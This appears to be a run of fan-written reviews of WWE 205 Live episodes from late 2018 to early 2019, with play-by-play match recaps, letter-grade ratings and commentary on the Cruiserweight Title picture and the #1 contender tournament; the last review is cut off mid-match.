IMG Credit: WWE

205 Live
Date: March 5, 2019
Location: Mohegan-Sun Arena At Casey Place, Wilkes-Barre, Pennsylvania
Commentators: Vic Joseph, Aiden English, Nigel McGuinness

It’s time for the second week of the tournament and that’s not a bad thing. This is the kind of show that is far better when they go with straight wrestling and minimal storytelling, which is what you get in a tournament setting. Tonight we get the second half of the first round, meaning we’ll be down to four by the end of the night. Let’s get to it.

Here are last week’s results if you need a recap.

Drake Maverick does his usual recap/preview.

Opening sequence.

Video on Oney Lorcan, a surprise entrant in the tournament. He’s been on 205 Live before, albeit in a one off appearance the night after Wrestlemania 33. Lorcan says he can adapt his style to any opponent. He could see himself defeating Buddy Murphy for the Cruiserweight Championship.

#1 Contender Tournament First Round: Oney Lorcan vs. Humberto Carrillo

Before the match, Carrillo says that Lorcan is a strong opponent but he’s here to face the best, which he’ll do tonight. The camera goes in close to start but there’s no hiding the incredible amount of empty seats in the lower half of the arena. English’s advice to Lorcan: “Do not hit this man in his beautifully dimpled face.” Instead Lorcan grabs a headlock for some blatantly obvious spot calling but can’t get a half and half suplex.

The second headlock keeps Carrillo from getting away again until a shove lets him backflip away twice in a row. Carrillo gets chopped to the apron though and a baseball slide sends him to the floor. As Jack Gallagher and Drew Gulak, in Carrillo shirts, watch in the back, Carrillo manages to beat the count back in. The running uppercut sets up a chinlock but Carrillo gets up and hits a heck of a springboard armdrag to send Lorcan outside for a suicide dive.

They strike it out on the apron until Lorcan grabs a fisherman’s suplex to drop Carrillo again. Back in and Lorcan still can’t get the half and half, instead settling for some hard shots to the face. Carrillo rocks him with a superkick and a Batista Bomb gets two. With nothing else working it’s time to go up top but a moonsault hits raised boots. The half and half finally hits to give Lorcan the pin at 11:57.

Rating: B. Lorcan is an interesting wild card in this whole thing as he’s the kind of guy who could go a long way and could make for a brand new challenger to Murphy. Carrillo losing over and over again is getting a little problematic as while he’s a great flier, he needs to actually win something. Beating Gulak and Gallagher, perhaps with a surprise partner, could go a long way.

Mike and Maria Kanellis aren’t happy with Drake for not giving him a tournament match, but he was never promised that. See, Mike never wins anything so he shouldn’t be in the tournament. Maria doesn’t like being patronized.

Mike Kanellis vs. Colby Corino

Mike throws his jacket at Corino (Steve’s son) to start and hammers away as Aiden begs Mike to just take the win. A running clothesline turns Colby inside out and the Roll of the Dice plants him again as there’s no match.

Tony Nese if just a win away from Wrestlemania and he’ll be in Gulak’s face like never before.

Cedric Alexander knows people are asking how many chances he can get. No one cares about 205 Live more than him and the Cruiserweight Title has been synonymous with his name for two years (It hasn’t even been a year since he won it!). Tonight, he wants Akira Tozawa to bring his best.

#1 Contenders Tournament First Round: Akira Tozawa vs. Cedric Alexander

Neither can get an advantage on the mat to start but Cedric can’t get out of a headlock. Alexander finally slips away but his dropkick is blocked. An armdrag into an armbar has Cedric in trouble and that works so well that Tozawa does it two more times. The fourth armdrag sends Cedric outside but he’s ready for the suicide dive. Cedric dives back in for a suplex gutbuster for two as it’s time to start on the ribs.

The waistlock keeps Tozawa in trouble and a chinlock with a knee in the back makes it even worse. As Tozawa starts making a comeback, Cedric knees him in the back to cut him off again. Another waistlock goes on as Alexander continues to play a subtle heel. Tozawa finally elbows his way to freedom and the hard right hand knocks Alexander silly.

A hurricanrana puts Alexander on the floor for a suicide dive, followed by a missile dropkick for two back inside. The Octopus Stretch is quickly reversed into a spinning side slam and Alexander’s springboard spinning Downward Spiral gets two. Tozawa slips out of the Lumbar Check twice in a row and it’s time to kick Alexander in the head. A very hard DDT plants Alexander and a reverse hurricanrana gets two as the announcers are losing their minds.

Now the Octopus Stretch goes on and Alexander is taken all the way to the mat. Since he has to keep going though, the hold is broken, only to have Tozawa nail a hard German suplex. Alexander catches him on top to break up the top rope backsplash though and the Lumbar Check finishes Tozawa at 18:05.

Rating: B. Well where would we be without Alexander getting another win? He’s very good in the ring but I’ve seen him do this same stuff for a year now and that gets a little tiresome. Tozawa has some more charisma and while he’s been around as well, he would feel like a breath of air at the moment. It’s a good match, but I need something new for a change.

The updated brackets:

Tony Nese

Drew Gulak

Oney Lorcan

Cedric Alexander

Overall Rating: B+. The only one of the four people left in the tournament that interests me in going to face Murphy is Lorcan and the good sign is that he feels like an actual threat to win the thing. This show needs someone new near the top (not necessarily a new champion) and it’s starting to hurt things. You can only rotate the same people in and out so many times before it stops working and we’re getting very close to that point.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2000 Monday Nitro and Thunder Reviews Part 1 (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/02/22/new-book-kbs-monday-nitro-thunder-reviews-volume-vii-january-june-2000/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: February 19, 2019
Location: Smoothie King Center, New Orleans, Louisiana
Commentators: Aiden English, Nigel McGuinness, Vic Joseph

We’re on the way to Fastlane because that’s a thing that exists. It also doesn’t mean a ton around here as Cruiserweight Champion Buddy Murphy retained the title last Sunday at Elimination Chamber. That means it’s time to set up a new challenger, which could take place here. Something big is coming at Wrestlemania but I’m not sure what that is just yet. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Murphy retaining the Cruiserweight Title over Akira Tozawa on Sunday. That means we need a #1 contender for Wrestlemania so it’s tournament time, starting next week. Drake Maverick previews the show as usual.

Opening sequence.

TJP vs. Humberto Carrillo

Aiden sings (not literally, though in this case you have to clarify) Humberto’s praises as he sends TJP outside. The dive is teased but here are Jack Gallagher and Drew Gulak to say hang on with the diving. Carrillo seems to listen as he lets TJP back in and takes him down by the knee. Back up and Humberto starts the flips, followed by a quick splash for two. A springboard wristdrag is countered with a faceplant though and TJP starts in on the arm.

The slingshot hilo sets up the chinlock and then more arm cranking, only to have Humberto nip up for a kick to the face. The backflip into the moonsault gives Humberto two but TJP reverses a victory roll into something close to a Regal Stretch. A rope is grabbed but Humberto’s shoulder is pretty banged up. They head to the apron with Carrillo jumping around, setting up a quick dropkick. The handstand springboard moonsault finishes TJP at 10:21.

Rating: C. So that’s it for TJP in WWE and I’m going to miss him. I know he hasn’t been pushed in forever, but he was always good for a solid match and knew how to make his opponents look good. It’s nice to see him put someone like Carrillo over on his way out though, as hopefully he can get to be a bigger success elsewhere.

Post match Gulak and Gallagher congratulate Carrillo, even putting him on their shoulders. He doesn’t seem to mind.

Tony Nese says he’s proven he’s better than Noam Dar and now 205 Live is his for the taking. He’s coming for the title.

Maria Kanellis says her husband is going to prove that he’s the most dangerous man in 205 Live by taking out its heart tonight.

D-Generation X Hall of Fame video.

Ariya Daivari vs. Johnny Lyons

On his way to the ring, Daivari promises to beat someone so badly that no one can say it was the wrong call (reference to the New Orleans Saints losing via a bad call). Lyons hits an early dropkick but misses a charge into the corner. The fans are behind Lyons, even as Daivari kicks him down. The hammerlock lariat sets up a cobra clutch to make Lyons tap at 1:24. Well it’s an upgrade over the lariat.

Murphy talks about how he’s beaten everyone and he’ll do it again with whomever wins this tournament.

Mike Kanellis vs. Cedric Alexander

They go to the mat to start before Mike drives him into the corner for a shove to the face. Mike’s headlock takes Cedric down but he’s right back with a snap armdrag. A dropkick has Kanellis in more trouble and a kick to the back of the head gets two. Kanellis punches a springboard out of the air though and drives in some knees to take over. More forearms give Kanellis two and it’s off to the chinlock.

Alexander fights up with more dropkicks as Maria is starting to get nervous. There’s the Neuralizer but a springboard doesn’t work as Alexander falls down and grabs his knee. Mike is smart enough to stomp away, sending Aiden and Nigel into another argument over ethics in wrestling. Cedric hits a superkick but walks into a Samoan driver for two more. A backpack Stunner gets the same, only to have Cedric grab a Michinoku Driver for two of his own.

They head to the apron and trade boots to the face with Cedric taking the worse of it. A very hard spinebuster on the ramp has Cedric literally screaming and a Boston crab inside makes it even worse. Cedric grabs the rope and sends Mike outside for a flip dive (WAY too soon to be fine enough for that). Maria offers a distraction though and it’s a superkick into a Roll of the Dice for the pin, sending Nigel to his feet in celebration. He’s right back down though as the referee waves it off, saying Cedric’s shoulder was up. The Lumbar Check finishes Kanellis at 17:37.

Rating: B. Easily Kanellis’ best match of his WWE career and while that’s a low bar to clear, it’s a good sign for his future. Kanellis has never been known for his work but something at this level with Maria doing the talking will be enough to keep him around for a nice run. I liked the false finish in there too and actually bought it for a few seconds.

Maria is devastated.

Drake announces the following first round matches:

Kalisto

Tony Nese

Brian Kendrick

Drew Gulak

Four more names will be announced later.

Overall Rating: B-. The tournament is a good idea as we need a new challenger before Wrestlemania and you can only do so much around here to build up a feud. It should be a fun way to get there as last year’s tournament was great. As long as the work is there and we get a surprise (Kushida for example), everything is going to be fine.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2000 Monday Nitro and Thunder Reviews Part 1 (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/02/22/new-book-kbs-monday-nitro-thunder-reviews-volume-vii-january-june-2000/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: February 5, 2019
Location: Angel of the Winds Arena, Everett, Washington
Commentators: Aiden English, Nigel McGuinness, Vic Joseph

It’s time to find out the #1 contender for the Cruiserweight Title as tonight is a four way match with the winner getting the Elimination Chamber title shot. Other than that we have a somewhat heated up Ariya Daivari, which isn’t likely to go very far because it’s a heated up Ariya Daivari. Let’s get to it.

Here are last week’s results if you need a recap.

Drake Maverick previews the four way between Lio Rush, Cedric Alexander, Akira Tozawa and Humberto Carrillo, with Buddy Murphy saying the challenger doesn’t matter.

Opening sequence.

Brian Kendrick vs. Mike Kanellis

Maria is is in on commentary again this week. Feeling out process to start with Maria saying last week’s loss doesn’t count because it wasn’t even a match. Mike runs him over and shout that this is HIS show, which isn’t the best battle cry in the world. Kendrick doesn’t like the sound of that and forearms Mike out to the floor. That just means a quick Maria distraction so Mike can run him over and get in a good posting. A suplex gives Mike two and it’s off to the chinlock as Maria says Mike only needs to win one match to become a legend.

Mike kicks him to the floor but Brian gets in a posting of his own for a breather. Back in and Kendrick grabs the Captain’s Hook for a bit, with Mike getting a single finger on the rope. Mike gets two off a superkick and frustration is setting in. A spinebuster is good for the same so Mike pounds in elbows to the chin. For some reason Mike lets up and Kendrick tells him to bring it, earning himself a kick to the face. With that not working, Mike tries a neckbreaker but gets reversed into Sliced Bread (Maria: “NO!”) for the pin at 10:36.

Rating: C-. I’m almost curious about where the Mike thing is going, as he hasn’t had any kind of a story, though at least he’s getting the chance to actually do something. He’s not the most thrilling guy in the world but he and Maria make for a good act. I had fun with this one, though a losing streak isn’t the best sign for Mike’s future.

We look back at Ariya Daivari laying out Hideo Itami after last week’s main event.

Daivari says he was tired of being the only person to have Itami’s back. Itami kept talking about respect but no one respected him until he took it last week.

Rush says he’s beaten Tozawa twice and has Alexander’s number. It’s time for Murphy to feel the rush.

Kendrick says Tozawa won last week and he’ll do it again tonight. Tozawa says he knows he can beat Murphy. If Tozawa can speak English, why is Kendrick here?

Carrillo says he’ll win the title at Elimination Chamber.

Alexander says he was running through the Cruiserweight Title tournament at this time last year but this time, he only has to beat three people.

We look back at Tony Nese attacking Noam Dar, earning himself a suspension.

Maverick tells Drew Gulak that he and Jack Gallagher can’t be in Carrillo’s corner, because no one is going to be in anyone’s corner. They leave when Dar comes in, saying he wants Nese next week. That’s a no, so Dar threatens to take care of Nese somewhere else. Drake agrees, making it a No DQ match next week.

Akira Tozawa vs. Cedric Alexander vs. Humberto Carrillo vs. Lio Rush

Elimination rules with the winner getting the shot at Murphy at Elimination Chamber. Rush starts talking trash, telling Tozawa that he’s beaten him twice and that he doesn’t know who Carrillo is. All three go after him so Rush bails to the floor, allowing Tozawa to hit a suicide dive. Back in and Cedric trades armdrags with Carrillo until Tozawa slingshots in to knock Carrillo outside. Rush breaks up another suicide dive and hits one of his own on Tozawa.

The big spinning tornado DDT plants Carrillo for two and Rush is right back with the trash talk. Carrillo kicks him down but walks into a missile dropkick from Tozawa for two more. Rush kicks Tozawa in the head for two of his own but Tozawa avoids the Final Hour. Cedric is right back in though and the Lumbar Check gets rid of Rush at 5:30.

That leaves us with three so Carrillo kicks Alexander in the head a few times. A heck of a missile dropkick nails Alexander, setting up a standing moonsault for two. Cedric is right back up on the apron but slips off and bangs up his knee, though he manages to clothesline Carrillo anyway. All three are down for a bit, which is a nice touch for a little reset. Tozawa kicks Cedric out to the floor in a big crash and shoves Carrillo off the top. The top rope backsplash gets rid of Carrillo at 9:56 and it’s down to Tozawa vs. Alexander.

Cedric takes his time getting back in and only has one good leg. The elbow pad comes off and Tozawa grabs the Octopus Hold until switching over to a rollup for two instead. Stereo big boots to the face give us another double knockdown and the fans are rather pleased. Tozawa gets up first and counters the Neuralizer into a snap German suplex, followed by a second one for two more.

Alexander is smart enough to roll away before the top rope backsplash can launch and drops Tozawa on the apron to take over. Back in and the fans are split in their cheering as the Lumbar Check is countered. Alexander gets him in an electric chair (after circling the ring a few times due to nearly dropping him) but gets countered into a reverse hurricanrana. The top rope backsplash sends Tozawa to the Chamber at 17:03.

Rating: B. This felt like a showdown for the sake of getting a big prize down the line, which is exactly the point. Tozawa winning wasn’t the biggest surprise after last week as Carrillo isn’t ready, Rush isn’t getting a shot at Murphy and Alexander has been done several times before. Tozawa makes sense and is a fresh option, so having a good match to get to the logical ending was rather nice.

Post match Murphy comes on screen to say he’ll be waiting on Tozawa at Elimination Chamber.

Overall Rating: C+. Another nice show here with a good main event and a perfectly watchable step forward in another story. Having another title match set up for the pay per view is a good moment and a sign that we might be getting more regular title matches on pay per view. That’s something the title has needed for a long time now and the regular TV show has been backing it up as well. Good stuff here, again.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: January 29, 2019
Location: Talking Stick Resort Arena, Phoenix, Arizona
Commentators: Vic Joseph, Aiden English, Nigel McGuinness

We’re done with the Royal Rumble and that means Buddy Murphy is in need of a new #1 contender. Murphy retained the title in a four way match on Sunday, meaning we might not be seeing the title defended for a little while now. Then again maybe they’ll actually pick up the pace for a change, which would be rather nice. Let’s get to it.

Here are last week’s results if you need a recap.

Drake Maverick recaps Murphy retaining the title and previews the show.

Opening sequence.

Kalisto vs. Mike Kanellis

The Lucha House Party and Maria are at ringside. During the entrances, Kalisto puts a mini sombrero on Nigel’s head, yet he somehow manages to not erupt. He’s getting better at this anger management stuff. Maria even sits in on commentary for a bonus. Mike goes after the ribs to start but gets headscissored out to the floor. Back in and Kalisto hammers away as Maria talks about all the things that she and Mike have done for a fair chance.

Aiden points out that the two of them haven’t accomplished anything in WWE yet and Maria isn’t pleased, even as Mike takes over again with a sliding dropkick. A whip sends Kalisto into the barricade (Maria: “Poor baby!”) and it’s some shots to the mask back inside. Kalisto gets in a kick to the face, followed by the hurricanrana driver for two. The Salida Del Sol is countered as Mike rolls outside, only to have him shove the suicide dive attempt into the barricade.

Back in and the required tornado DDT plants Mike for two, followed by a kick to the head to stagger Mike on top. Mike is fine enough for a super sitout Rock Bottom for a near fall of his own with Maria getting annoyed at the kickout. Three straight suplexes set up a Backpack Stunner for two more as Kalisto has to go with a foot on the rope. Mike grabs a gutwrench but Kalisto rolls him up for the quick pin at 11:01.

Rating: C. I’ve always liked Kalisto but this was a nice showcase for Mike, who got to show off a little bit. The problem is that he almost never gets on TV and isn’t the most defined character. Maria is a great talker though and really made herself sound like someone you wanted to see get what was coming to her. They didn’t play up the Power of Love thing here either and that’s a step in the right direction, assuming the two of them are sticking around.

The announcers talk about the Worlds Collide tournament. I really need to watch that.

Jack Gallagher and Drew Gulak are behind a podium and think there is potential in Humberto Carrillo. All he needs is the right guidance, which the two of them can provide. They’ll be in his corner for his next match.

Ariya Daivari says Hideo Itami is ready to prove that he’s the most destructive force around here, at Akira Tozawa’s expense.

Earlier today, Tony Nese and Noam Dar got in a fight in the parking lot until Drake and some wrestlers broke it up.

Nese has been suspended for starting the fight. Buddy Murphy isn’t happy with the suspension but isn’t upset about what he did. He retained at the Royal Rumble and now he’ll knock down his next challenger.

Akira Tozawa vs. Hideo Itami

Brian Kendrick and Ariya Daivari are at ringside. Itami hides in the corner for some early stalling as there’s no contact in the first minute. Some shots to the ribs stagger Tozawa but Itami goes over to Daivari for some advice (Perhaps “don’t sign an extension”?), allowing Tozawa to get in a few kicks of his own. The surprise right hand gives Tozawa two but it’s way too early for the top rope backsplash.

Instead he tries the middle rope version but only hits raised knees. Itami starts in with the kicks to the RESPECT ME chest. English even gets in some Shakespeare to talk about how Itami might be desperate, even as he drops a middle rope knee to the back of the head for two (Nigel: “Itami, Itami, wherefore art thou Itami?”). We hit the chinlock as the eerie silence continues. A few neckbreakers give Itami two and it’s right back to the chinlock. Tozawa fights up and grabs a quickly broken Octopus Hold, followed by the Shining Wizard for a knockdown.

The missile dropkick sends Itami outside for the suicide headbutt but Tozawa can’t follow up. Back in and the tornado DDT onto the top rope sets up the top rope clothesline for two. Tozawa gets in another kick but Daivari gets up on the apron AGAIN, allowing Itami to get two of his own off a discus lariat. The Falcon Arrow is good for the same but Itami’s running dropkick hits Daivari by mistake. That’s enough for a snap German suplex into the top rope backsplash to finish Itami at 14:55.

Rating: B-. That’s it for Itami and I can’t say I blame him. It hasn’t worked in WWE and that’s been the case for a variety of reasons. Let him go back to Japan where he’s going to be a much bigger star and most likely happier. There’s nothing wrong with that as not everyone is cut out for/needs WWE. Itami tried his best but it just wasn’t clicking, and that’s ok.

Post match Daivari picks Itami up….and lays him out with a clothesline. Might as well get some heat out of Itami leaving.

Overall Rating: C+. Pretty good show here with two solid enough matches and some story advancement. You can probably pencil in Tozawa for his title shot at Elimination Chamber, which is a good sign for his future. Tozawa is still a fun guy with a ton of charisma and while he might not be #1 contender, that’s about as clear of an indication as you can get. Nice show here, especially considering the lack of top stars on the show.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: December 5, 2018
Location: Frank Erwin Center, Austin, Texas
Commentators: Vic Joseph, Nigel McGuinness, Percy Watson

Last week saw Cedric Alexander pin Cruiserweight Champion Buddy Murphy in a tag match, which should set him up as the next challenger to the title. With a pay per view coming up, the timing couldn’t be much better. As for tonight, we have the Lucha House Party vs. Mike Kanellis and TJP in a Texas Tornado match. Let’s get to it.

Here are last week’s results if you need a recap.

Drake Maverick previews the show, which works very well every week.

Opening sequence.

Drew Gulak vs. Brian Kendrick

Jack Gallagher and Akira Tozawa are at ringside. The empty seats are AWFUL this week with far more red seats than people visible, meaning we start with the lower camera angles. Nice idea, but it just shows how bad the problem is around the arena. Gulak takes him to the mat to start but can’t get him anywhere. More grappling gives us a stalemate so Gulak nails him with a clothesline to take over.

A modified half crab (with Gulak pulling back on the foot instead of wrapping his arm around) starts in on Kendrick’s knee and Gulak takes him down by the leg for good measure. Kendrick tries a full nelson of all things, followed by a tiger suplex of all things for two. That just earns him a powerbomb into a regular half crab as Gulak’s logical moveset continues. It’s off to a headlock as Gulak moves towards the neck for a change.

With that not being as weakened, Kendrick fights up so it’s another leg hold to cut him down again. A front facelock keeps Kendrick in trouble but he flips out into the Captain’s Hook. That means a crawl over to the ropes for the break so Kendrick goes with a dragon suplex for two instead. A quick trip to the floor goes nowhere but Gallagher sends Tozawa into the post for a distraction. The rollup gives Gulak two and Sliced Bread #2 gives Kendrick the same as Gallagher comes in for the DQ at 8:49.

Rating: C. Technically fine but I still have no reason to care about what these people do. The feud has been going on for weeks now and it seems like they’re in about the same places they were before. That’s the case with the opening match around here most of the time, but it doesn’t make things any more interesting.

Gallagher and Gulak destroy Tozawa and Kendrick post match.

We look back at last week’s tag team main event.

Maverick sits down with Buddy Murphy, who isn’t worried about facing Cedric Alexander in a rubber match. Murphy cuts him off and says he’s glad to face Alexander one more time. Besides, Mustafa Ali is the tougher opponent. That sounds manipulative to me.

Ariya Daivari vs. Clay Roberts

Daivari is in street clothes and is all aggressive to start with stomps in the corner. A kick to the head has Roberts in more trouble as Hideo Itami is watching from the back. The hard standing clothesline gets two and a hammerlock lariat is good for the same, with Daivari pulling him up both times. Three more clotheslines knock Roberts silly and the referee stops it at 1:48 before Daivari can do it again. Good idea, but it’s still Ariya Daivari hitting a bunch of clotheslines. Maybe it gets better, but they’re facing an uphill climb.

Itami seems pleased.

Mustafa Ali is down after losing but he’s getting back up, which is the harder part. He’s rooting for Cedric, but he’s coming for the title no matter who has it.

Alexander isn’t letting Murphy get into his head and wants his title back.

Noam Dar wants Buddy Murphy too and the title doesn’t even need to be on the line.

Lucha House Party vs. TJP/Mike Kanellis

Tornado tag with Kalisto and Lince Dorado for the Party, without Gran Metalik around. Maria is around though and that’s a good thing. During his entrance, Kalisto puts a hat on a young girl’s head and she looks LIVID in a funny bit. TJP gets sent outside to start and Kalisto’s splash off Dorado’s shoulders (after a little balancing) connects with Mike. Both villains are put on the floor so Dorado can hit a dive off the post to take them both out. Kalisto pulls a noisemaker out of a Christmas sack before grabbing a tornado DDT for two on TJP.

Mike gets in a spinebuster on Dorado on the floor but Kalisto kicks him in the face. That’s a little too much offense though and Maria grabs the pinata and threatens to destroy it. The distraught Kalisto gets taken down and Mike gets in a good shot. TJP kicks the pinata away and hits his half of a double clothesline on Dorado. Now it’s time to pull out a spare mask and hammer away a bit more, followed by an elbow drop for two. Yeah he covered off an elbow drop and was surprised as the kickout. I don’t get it either.

Kalisto gets a bit too close to getting back in so Mike knocks him into the barricade. Dorado is back with a double Golden Rewind, followed by Kalisto with a springboard high crossbody to TJP. The hurricanrana driver is countered into an STF and it’s time to go for Kalisto’s mask. As TJP goes for the eye, we see a replay of Mike hitting a Russian legsweep off the apron on Dorado. You don’t see WWE cameras missing things like that very often. With the mask not working, it’s time for the kneebar on Kalisto, who eventually makes the ropes. TJP gets caught up top and Kalisto’s knee is fine enough to superkick an invading Mike.

A top rope hurricanrana sends TJP into Mike and Dorado is back in to help things out. Another superkick to Mike sets up the Super Crazy triple moonsaults for another near fall. The masked guys yell at each other a lot and it’s time to bring in the Christmas bag, which is full of mini pinatas. Dorado has to fight out of a bunch of suplexes onto the pinatas and it’s time to fight over who gets tossed from the corner onto them.

A double superplex finally puts TJP onto them but Mike makes a very fast save. TJP powerbombs Kalisto for two more and now he wants the BIG pinata. Maria and Kalisto get in a fight over the thing until he throws it at her, knocking him off the apron and onto Mike. The springboard Salida Del Sol into the shooting star press finishes TJP at 14:17.

Rating: C+. At first I wasn’t really feeling this one as it was all kinds of carnage and insanity….and then I realized that was the point. It’s called a Texas Tornado match for a reason and the match was fun as a result. This was an entertaining match with all four guys getting involved, plus Maria as a bonus. I could go for fewer pinatas next time, but at least what we got was entertaining with the right ending.

We get a preview of next week’s matches.

Tony Nese is ready to finish Cedric for good next week.

Overall Rating: C. The main event helped but this was a show that didn’t exactly showcase some of the more entertaining wrestlers on the roster. It helps that we’ll be getting Ali, Murphy and Alexander in the next few weeks though and that’s a great sign for the show going forward. This wasn’t a bad show or anything, but it didn’t have quite the pop that it needed.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: November 28, 2018
Location: Target Center, Minneapolis, Minnesota
Commentators: Vic Joseph, Nigel McGuinness, Percy Watson

Things are in a bit of a holding pattern around here at the moment as Buddy Murphy doesn’t have a challenger but is involved in a tag match tonight, teaming with Tony Nese against Mustafa Ali and Cedric Alexander. Other than that I’m sure we’ll be in for the normal midcard shenanigans, which can be hit or miss. Let’s get to it.

Here are last week’s results if you need a recap.

Drake Maverick previews the show and yes we are supposed to take him seriously after what happened on Raw. I love how WWE thinks that’s how it works, like they’re different continuities or something.

Opening sequence.

Mike Kanellis vs. Noam Dar

Fallout from Kanellis costing Dar a match recently. Kanellis slaps at Dar’s hands in the corner to start as Maria sits in on commentary. Dar gets in a kick to the leg and waves at Maria to a reaction quieter than a golf clap. For some reason Dar goes outside (presumably to look at Maria) and gets jumped from behind, with Mike hitting a suplex. Back in and we hit the chinlock as Maria tries to explain the power of love.

The hold doesn’t last long as Dar pops up with a running dropkick to the head as the arena is just quiet. A spinebuster gets Kanellis out of trouble and here’s the Lucha House Party for a distraction. With Dorado and Metalik on the stage, Kalisto kicks Mike in the head, setting up the Nova Roller to give Dar the pin at 3:52.

Rating: D. Is anyone else really getting sick of the Lucha House Party? I know they’re there for some fun and can get the fans a little more energetic than most things (like this match for example) but they’re getting more annoying every week. Dar isn’t much better and I’m not sure about having him beat Mike. While Mike isn’t great, Maria is a gem with some presence to her and it shows off on commentary. Too short to mean much, but not exactly good.

Brian Kendrick and Akira Tozawa are warming up with Tozawa getting on Kendrick’s nerves just enough to bring out the aggression. Tozawa’s hands hurt after Kendrick pounds the gloves so hard.

Drew Gulak and Jack Gallagher talk about how Kendrick used to be their friend but then he changed. Gulak uses some word that he doesn’t understand so Gallagher helps him out a bit in a funny moment. Next week: Gulak vs. Kendrick.

Hideo Itami vs. Levy Cruise

Itami isn’t playing around tonight and blasts Cruise in the face to start. The kick to the back lets Itami shout RESPECT ME and believe it or not, the reactions are getting even quieter. Cruise is draped over the top rope for the jumping knee to the back and there’s the hesitation dropkick in the corner. The spinning knee to the head finishes Cruise at 1:27.

Post match the beatdown continues but Ariya Daivari of all people comes out to interrupt. Dude you still work here? And never mind as he helps beat on Cruise before saying he respects Itami. Egads man, how much more boring can they get with these two?

TJP asks Drake Maverick why he can’t be #1 contender but Maverick says no because Gran Metalik beat him last week. That means another mention of the Cruiserweight Classic, which doesn’t quite work. TJP finally brings up Maverick’s stuff from Raw but the Kanellises come in to say they want the Lucha House Party. Maria doesn’t want to hear from TJP, but does want a tornado tag match is made for next week. Maverick agrees and tosses them.

Mustafa Ali/Cedric Alexander vs. Buddy Murphy/Tony Nese

Alexander and Nese start things off with the traditional exchange of wristlocks. Nese avoids a moonsault and nips up to duck a clothesline. That’s fine with Alexander, who snaps off a dropkick for two, complete with a glare at Murphy. It’s off to Ali for a quick dropkick to the side of the head so Murphy comes in and gets dropkicked as well. The tag brings Alexander back in and Murphy immediately bails for the tag back to Nese.

A quick distraction lets Murphy hit a running knee to the face though and now he’s willing to take over on Alexander. Some knees to the ribs set up a bodyscissors from Nese but Alexander is up in a hurry. The hot tag brings in Ali to pick up the pace with a shot to the face and the Batista Bomb for two. Murphy blocks the tornado DDT through raw power though and Nese gets in a cheap shot from the apron. Nese comes in legally and steps on Ali’s hair (Nigel: “Could be an accident, you never know.”) before it’s back to Murphy for a hard clothesline.

Ali gets in a double clothesline to put both villains on the floor but Murphy pulls Alexander off the apron to break up the hot tag attempt. A spinning kick to Murphy’s face is finally enough for the hot tag and Alexander comes in with the springboard Flatliner for two on Nese. Alexander shoves Nese into the corner to crotch Murphy and it’s back to Ali, who goes up top with Alexander to get Murphy.

Since that’s a bit crowded up top (not to mention with Nese beneath the three of them), Murphy and Ali both fall down to the floor in some scary looking crashes. Alexander nails Nese with a dive and throws Murphy back in for a tornado DDT from Ali. The Lumbar Check finishes Murphy at 13:31.

Rating: B. Even with someone like Nese (who shockingly didn’t take the pin) in there, this felt like a big time tag match and a good main event. Alexander getting his rematch makes sense after how long he held the title so it’s hard to argue with the result. Ali will almost certainly be a factor going forward and that’s the best for almost everyone involved.

Overall Rating: C. The main event is all that matters here but there’s only so much you can get out of a third of the show when the rest of it isn’t exactly thrilling stuff. Murphy is turning into a much more interesting champion than I was expecting and his match with Alexander or another match with Ali could be entertaining. Other than that there isn’t much here, but that can change week to week.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

205 Live
Date: November 7, 2018
Location: Manchester Arena, Manchester, England
Commentators: Vic Joseph, Nigel McGuinness, Percy Watson

We’re across the pond this week with another show as we now have a new #1 contender for the Cruiserweight Title. Speaking of champion Buddy Murphy, he’ll be facing Mark Andrews tonight as a little bit of an international showdown. Other than that, it’s hard to say what we might be seeing around here but lately, that’s not the worst thing in the world. Let’s get to it.

Here are last week’s results if you need a recap.

Drake Maverick praises Mustafa Ali for becoming #1 contender and previews tonight’s show.

Opening sequence.

TJP/Mike Kanellis vs. Lucha House Party

Kalisto and Dorado for the House Party here. Dorado and TJP lock up to start with TJP going straight for the mask. Instead it’s off to Kalisto for some dancing and an armdrag. The fast pace continues with Dorado coming in for a splash and it’s off to Kanellis. The villains are sent outside and we get some double bicep poses from the masked guys. Back in and Dorado dropkicks Kanellis into an armdrag but it’s a cheap shot from TJP to take over.

